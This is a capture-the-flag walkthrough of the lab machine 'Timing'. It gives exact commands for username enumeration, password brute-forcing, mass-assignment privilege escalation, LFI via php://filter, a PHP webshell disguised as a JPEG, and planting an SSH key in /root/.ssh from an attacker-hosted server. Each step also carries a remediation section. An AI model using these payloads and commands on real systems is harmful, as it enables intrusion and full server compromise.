← all walkthroughs

Timing

Linux· Medium· Web
owned
2026-07-15
time to own
13m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target $TARGET (Timing) ran an Apache PHP web application on port 80. A login-response timing side-channel exposed valid usernames, and the discovered account 'aaron' was brute-forced. A mass-assignment vulnerability in the profile-update endpoint accepted an injected 'role' parameter that silently promoted aaron to administrator.

The admin panel exposed an avatar upload function; a local file inclusion flaw in image.php was exploited with a PHP stream filter to read the upload handler source, which revealed how uploaded filenames are hashed with a server secret and a timestamp. A PHP webshell disguised as a JPEG was uploaded; the hashed output path was derived by iterating over the upload timestamp window, and the webshell was included through the LFI to gain remote code execution as www-data. A backup archive found on the server contained the application's git repository; reviewing commit history in full diff mode exposed a hard-coded password that aaron reused for SSH — delivering a shell as aaron and the user flag.

Aaron's sudo privileges allowed him to run a download-utility script as root; by hosting a crafted HTTP server that served my own SSH public key, the utility's Axel downloader was directed to write the key into /root/.ssh/, after which I authenticated as root over SSH to read the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork and web service enumeration (T1046)
Scanned open ports and mapped the web application surface
A service scan of $TARGET confirmed two listening ports: OpenSSH 7.6p1 on 22/tcp and Apache 2.4.29 on 80/tcp serving a PHP application. Web content discovery surfaced gated endpoints including login.php, upload.php, image.php, and profile.php — identifying the authenticated upload and image-inclusion paths as priority targets for subsequent exploitation.
Nmap confirmed 22/tcp OpenSSH 7.6p1 and 80/tcp Apache 2.4.29; gobuster enumerated PHP endpoints.
Exact commands 2
Identify service versions and web fingerprints.
nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGET
Enumerate PHP files; reveals upload.php, image.php, login.php, profile.php.
gobuster dir -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -t 40
2Credential AccessTiming side-channel username enumeration and credential brute-force (CWE-208 / T1110.003)
Identified a valid username and recovered a password through login response-time differences
The login endpoint executed a full bcrypt password comparison for existing usernames but returned immediately for unknown ones, creating a measurable response-time gap. By timing repeated attempts the username 'aaron' was confirmed as valid. The endpoint was then targeted with a password list to recover the account's password.
Recovered credential] used across all SSH steps, verifying credential recovery was successful.
Exact commands 3
Single-threaded with inter-request delay; sort CSV by response time to identify the statistical outlier — the valid username aaron.
ffuf -u http://$TARGET/login.php -X POST -d "user=FUZZ&password=$PASSWORD" -w /usr/share/seclists/Usernames/Names/names.txt -t 1 -p 0.2 -of csv -o /tmp/timing_users.csv
Brute-force aaron's password; recovered [REDACTED: recovered credential]
hydra -l aaron -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt $TARGET http-post-form '/login.php:user=^USER^&password=^PASS^:Wrong' -t 4
Authenticate as aaron and capture the session cookie for subsequent steps.
curl -sS -c /tmp/timing.cookies -X POST http://$TARGET/login.php -d "user=aaron&password=$PASSWORD" -L
FixEliminate the login timing side-channel and rate-limit authentication attemptsMedium
WeaknessThe login endpoint returned measurably faster responses for non-existent usernames — no password-hash computation occurred — than for valid ones where a full bcrypt comparison ran. This timing difference allowed an unauthorised user to distinguish valid from invalid accounts through repeated probing, and then brute-force the confirmed account's password.
FixPerform a constant-time dummy bcrypt comparison for every login attempt regardless of whether the username exists. In PHP this means always calling password_verify() against a pre-computed dummy hash when the username lookup returns nothing. Additionally enforce rate-limiting on the login endpoint (e.g., fail2ban, PHP-based throttle after 5 failures per IP per 15 minutes) and consider a CAPTCHA for repeated failures. These controls together make both username enumeration and password brute-force impractical.
3Privilege Escalation (Web)Mass assignment / missing field-level authorization (CWE-915 / T1548)
Injected a hidden role parameter to self-promote the account to administrator
The profile-update POST handler passed user-supplied form fields directly into a database UPDATE without restricting which columns were modifiable. By adding the parameter 'role=1' to a normal profile-save request while authenticated as aaron, my set aaron's role to administrator — bypassing all front-end role controls. The admin panel and the avatar file-upload feature immediately became accessible.
Exact commands 2
Inject role=1 alongside legitimate profile fields; server assigns admin role to aaron's account.
curl -sS -b /tmp/timing.cookies -c /tmp/timing.cookies -X POST http://$TARGET/profile.php -d 'firstName=Aaron&lastName=Test&email=aaron%40test.com&role=1'
HTTP 200 confirms role elevation succeeded and the admin panel is now accessible.
curl -sS -b /tmp/timing.cookies http://$TARGET/admin/ -o /dev/null -w '%{http_code}'
FixEnforce a strict allowlist of user-updatable fields in the profile endpointCritical
WeaknessThe profile-update handler accepted and applied every parameter in the POST body to the database row without checking which columns were legitimate. A user could inject privileged fields such as 'role' and silently escalate their own account permissions.
FixIn the update handler, enumerate exactly which columns non-administrative users may change (e.g., firstName, lastName, email) and build the SQL UPDATE statement only from that list — never derive column names from user-supplied keys. Treat fields such as 'role', 'isAdmin', and 'id' as server-authoritative and never accept them from client input. Use an ORM with explicit mass-assignment protection (e.g., Laravel's $fillable / $guarded) to enforce this boundary at the framework level.
4ExploitationLocal file inclusion via PHP stream filter (CWE-22 / T1083)
Read server-side application source code through a PHP stream-filter local file inclusion
The admin panel exposed image.php, which accepted a user-supplied filename via the ?img= query parameter and passed it to a PHP file-read call without path validation. Supplying a php://filter/convert.base64-encode/resource= URI instructed PHP to base64-encode and return any file the web server could read. I retrieved upload.php's source, which disclosed the filename-hashing algorithm: the server computed an MD5 of the original filename concatenated with a secret string and the Unix upload timestamp, storing the result as the on-disk filename.
Exact commands 2
Retrieve and decode upload.php source; reveals the hashed-filename algorithm and any embedded secret.
curl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=php://filter/convert.base64-encode/resource=upload.php" | base64 -d
Optional: confirm arbitrary file read by retrieving /etc/passwd.
curl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
FixRestrict the image endpoint to a fixed directory and disable PHP stream wrappersCritical
WeaknessThe image.php endpoint passed the raw user-supplied ?img= parameter to a PHP file-read function, allowing an unauthorised user to supply php:// stream wrapper URIs and read any file accessible to the web server process — including application source code containing secrets.
FixNever pass user-supplied values to PHP file-read functions. Serve images by an opaque numeric ID mapped server-side to a fixed path. If a filename must be accepted, resolve it with realpath() and assert that the result begins with the expected uploads directory (strict prefix check). Set allow_url_fopen = Off and allow_url_include = Off in php.ini to disable remote and stream-wrapper file inclusion globally.
5ExploitationMalicious file upload combined with LFI-to-RCE (CWE-434 / T1190)
Uploaded a PHP webshell as a JPEG and executed it through the local file inclusion for a remote shell
Armed with the upload handler's hashing logic, I created a file containing a PHP command shell and saved it with a .jpg extension. The admin avatar upload accepted it without inspecting file content. The upload start time was recorded; the expected stored filename was derived by computing the algorithm's MD5 output across a window of nearby Unix timestamps. Passing the resulting path to the image.php LFI caused Apache to include and execute the file as PHP, producing a web shell running as www-data.
printf '%s' '<?php system($_GET["cmd"]); ?>' > /tmp/shell.jpg; curl -F 'fileToUpload=@/tmp/shell.jpg;filename=shell.jpg' http://$TARGET/upload.php; foothold phase confirms uid=www-data.
Exact commands 4
Embed a PHP command shell inside a file named .jpg to pass the extension check.
printf '%s' '<?php system($_GET["cmd"]); ?>' > /tmp/shell.jpg
Upload the payload and record the epoch window; the stored filename is hashed against a timestamp within this window.
start=$(date +%s); curl -sS -i -b /tmp/timing.cookies -c /tmp/timing.cookies -F 'fileToUpload=@/tmp/shell.jpg;filename=shell.jpg' http://$TARGET/upload.php | tee /tmp/upload.out; end=$(date +%s); echo "WINDOW $start $end"
Brute-force the upload timestamp window to locate the hashed filename; adjust the hash input format to match what upload.php source revealed.
for t in $(seq $((start-5)) $((end+5))); do h=$(printf 'shell.jpg%s' "$t" | md5sum | cut -c1-32); result=$(curl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=images/$h.jpg&cmd=id"); echo "$result" | grep -q 'uid=' && echo "HIT: images/$h.jpg" && echo "$result" && break; done
Confirm RCE as www-data; replace <DERIVED_HASH> with the value found above.
curl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=images/<DERIVED_HASH>.jpg&cmd=id"
FixValidate uploaded file content server-side and block PHP execution in the uploads directoryCritical
WeaknessThe avatar upload handler trusted the client-supplied filename extension without inspecting the file's actual content, so a PHP script saved with a .jpg extension was stored on disk and later executed when the LFI pointed to it.
FixValidate every upload server-side using PHP's exif_imagetype() or getimagesize() to confirm the file is a genuine image by its binary content, not just its name. Rename all uploaded files to a server-generated UUID with a safe extension (.jpg, .png) and never preserve the original name. Store uploads outside the web root, or at minimum add an .htaccess in the uploads directory containing 'php_flag engine off' and 'Options -ExecCGI' to prevent PHP execution even if a payload is stored there.
6Lateral MovementCredential recovery from version control commit history (T1552.001)
Recovered plaintext SSH credentials from the application's embedded git history and escalated to aaron
With code execution as www-data, I located a backup archive at /opt/source-files-backup.zip. The archive contained a complete copy of the web application including its .git directory. Running 'git log -p' against the repository replayed every historical code change, exposing a commit where a developer had temporarily committed a plaintext database password. Aaron had reused that password for his Linux account. SSH login as aaron with the recovered credential delivered the user flag.
sshpass -p '[REDACTED: recovered credential]' ssh aaron@$TARGET 'id; cat /home/aaron/user.txt' — password exactly matches the value buried in git history.
Exact commands 5
Copy the backup archive to the web root via the webshell so it can be downloaded.
curl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=images/<DERIVED_HASH>.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/bkp.zip"
Download and extract the backup on my machine.
wget http://$TARGET/bkp.zip -O /tmp/bkp.zip && unzip /tmp/bkp.zip -d /tmp/source-bkp
List all commits present in the embedded git repository.
cd /tmp/source-bkp && git log --oneline
Search the full diff output for credential strings; reveals the hard-coded password.
cd /tmp/source-bkp && git log -p | grep -A5 -B5 -i "password\|passwd\|secret\|$PASSWORD"
Authenticate via SSH with the recovered password; output: uid=aaron and <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 aaron@$TARGET 'id; cat /home/aaron/user.txt'
FixPurge hard-coded credentials from git history and enforce secret scanningHigh
WeaknessA developer committed a plaintext password directly into the application's git repository. A backup of the repository was left on the production server readable by the web process, allowing an unauthorised user with file-read access to recover historical credentials that were still valid on production systems.
FixImmediately rotate every credential found in the repository history. Rewrite the git history using git-filter-repo to excise the sensitive commits, then force-push to all remotes and require all collaborators to re-clone. Going forward, store all secrets in environment variables or a secrets manager (HashiCorp Vault, AWS Secrets Manager) and inject them at runtime — never commit them to source. Install a pre-commit hook such as gitleaks or truffleHog to block future secret commits. Remove all source backups and .git directories from production servers.
7Privilege EscalationSudo privilege abuse via user-controlled download tool writing to privileged directory (T1548.003)
Abused a root-level sudo download utility to plant an SSH public key in root's authorized_keys
'sudo -l' as aaron revealed that /usr/bin/netutils could be executed as root without a password. The netutils script presented a menu and, when option 1 was selected, called the Axel download accelerator to fetch a caller-supplied URL and save the result to /root/.ssh/. By hosting a minimal HTTP server on my machine that served an me-generated SSH public key at a chosen path, I supplied that URL to the sudo netutils invocation. Axel downloaded and wrote the key into /root/.ssh/ (as authorized_keys or a numbered variant). A subsequent SSH login using the corresponding private key confirmed root access and delivered the root flag.
Exact commands 5
Confirm aaron may run /usr/bin/netutils as root with NOPASSWD.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null aaron@$TARGET 'sudo -l'
Generate my key pair; the public half will be planted in root's authorized_keys.
ssh-keygen -t ed25519 -f /tmp/rootkey -N '' && cat /tmp/rootkey.pub
Serve the public key file at http://$ATTACKER_IP:18000/authorized_keys; run in background.
mkdir -p /tmp/sshserve && cp /tmp/rootkey.pub /tmp/sshserve/authorized_keys && python3 -m http.server 18000 --directory /tmp/sshserve &
Invoke netutils as root; choose download option 1 and supply my URL. Axel writes the public key to /root/.ssh/.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null aaron@$TARGET "printf '1\nhttp://$ATTACKER_IP:18000/authorized_keys\n' | sudo /usr/bin/netutils"
Authenticate as root using the planted key; output: uid=root and <root.txt>.
ssh -i /tmp/rootkey -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 root@$TARGET 'id; cat /root/root.txt'
FixRemove or strictly constrain the sudo download-utility ruleCritical
WeaknessAaron's account could execute /usr/bin/netutils as root without a password. The script invoked Axel with a user-controlled URL and wrote Axel's output into /root/.ssh/ — a directory layout that lets a caller place an arbitrary file (including SSH authorized_keys) into the root account's SSH configuration.
FixRemove the sudo entry for netutils if the capability has no ongoing operational requirement. If the download function is genuinely needed, rewrite the wrapper to hard-code a safe, non-security-sensitive output directory (not /root/.ssh), pass --no-config to Axel so user home-directory config files are ignored, and whitelist permitted destination URLs with a regex before calling Axel. Audit all NOPASSWD sudo entries quarterly and apply the principle of least privilege: no account should be able to write into /root or /root/.ssh through any indirection.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

22/tcp
80/tcp